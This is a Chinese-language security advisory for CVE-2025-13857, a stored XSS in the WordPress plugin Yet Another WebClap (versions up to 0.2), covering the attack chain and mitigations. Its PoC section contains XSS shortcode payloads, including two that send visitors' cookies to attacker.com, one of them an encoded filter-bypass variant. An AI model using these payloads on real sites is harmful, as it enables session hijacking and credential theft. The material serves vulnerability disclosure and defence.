IPBUF安全漏洞报告
English
CVE-2025-13857 CVSS 6.4 中危

CVE-2025-13857 WordPress Yet Another WebClap插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13857
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Yet Another WebClap for WordPress插件

相关标签

存储型XSSWordPress插件漏洞CVE-2025-13857Yet Another WebClap短代码注入CVSS 6.4中危漏洞Cross-Site Scripting

漏洞概述

Yet Another WebClap是WordPress的一个评论鼓掌插件,允许用户通过短代码在文章中添加鼓掌按钮功能。该插件在0.2及以下版本中存在严重的存储型跨站脚本(XSS)漏洞。漏洞根源在于webclap_button短代码的text参数缺乏足够的输入清理和输出转义处理。攻击者只需拥有Contributor(贡献者)级别及以上的账户权限,即可利用此漏洞在受影响的页面中注入任意JavaScript脚本。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问包含恶意代码页面的用户都会触发该脚本执行,可能导致会话劫持、凭据窃取、恶意重定向等严重后果。此漏洞的CVSS评分为6.4,属于中等严重级别,但考虑到攻击门槛较低且影响范围广泛,实际威胁程度不容忽视。

技术细节

该漏洞发生在Yet Another WebClap插件的yawebclap.php文件第28行附近。问题代码在处理webclap_button短代码的text参数时,直接将用户输入嵌入到HTML输出中而未进行任何转义处理。攻击者可以通过以下方式构造恶意payload:在shortcode中传入包含JavaScript代码的text参数,例如[webclap_button text='<img src=x onerror=alert(document.cookie)>']。由于插件在保存和输出数据时均未对特殊字符进行HTML实体转义,攻击者的脚本会被浏览器解析执行。攻击者利用此漏洞可以窃取已登录用户的Cookie信息、劫持用户会话、执行任意操作或传播恶意内容。漏洞的利用条件极为宽松,只需要低权限账户即可实施攻击,且无需目标用户进行任何交互操作。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点的Contributor或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意payload的webclap_button短代码
STEP 3
步骤3
短代码的text参数未经过滤直接存入数据库,形成存储型XSS
STEP 4
步骤4
受害者访问包含恶意代码的页面,浏览器解析并执行注入的JavaScript
STEP 5
步骤5
攻击者通过恶意脚本窃取受害者的认证Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Contributor权限账户利用CVE-2025-13857的PoC --> <!-- 在文章或页面中插入以下短代码即可触发存储型XSS --> [webclap_button text='"><script>alert(document.cookie)</script>'] <!-- 窃取Cookie的进阶利用 --> [webclap_button text='"><img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'] <!-- 绕过简单过滤的变形payload --> [webclap_button text="'><svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>"] <!-- 利用方式说明: 1. 攻击者拥有WordPress Contributor或更高权限账户 2. 在文章/页面编辑时插入包含恶意payload的webclap_button短代码 3. 保存并发布内容后,恶意脚本会被永久存储 4. 任何访问该页面的用户都会执行攻击者的JavaScript代码 5. 攻击者可借此窃取会话Cookie、劫持账户或进行其他恶意操作 -->

影响范围

Yet Another WebClap for WordPress <= 0.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:(1)临时禁用Yet Another WebClap插件或移除webclap_button短代码的使用;(2)限制新用户注册为Contributor或更高级别角色,仅保留可信用户;(3)使用Web应用防火墙(WAF)规则拦截包含<script>、onerror、onload等XSS特征的请求;(4)对现有文章内容进行排查,搜索是否已被注入恶意短代码;(5)监控管理员账户活动,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表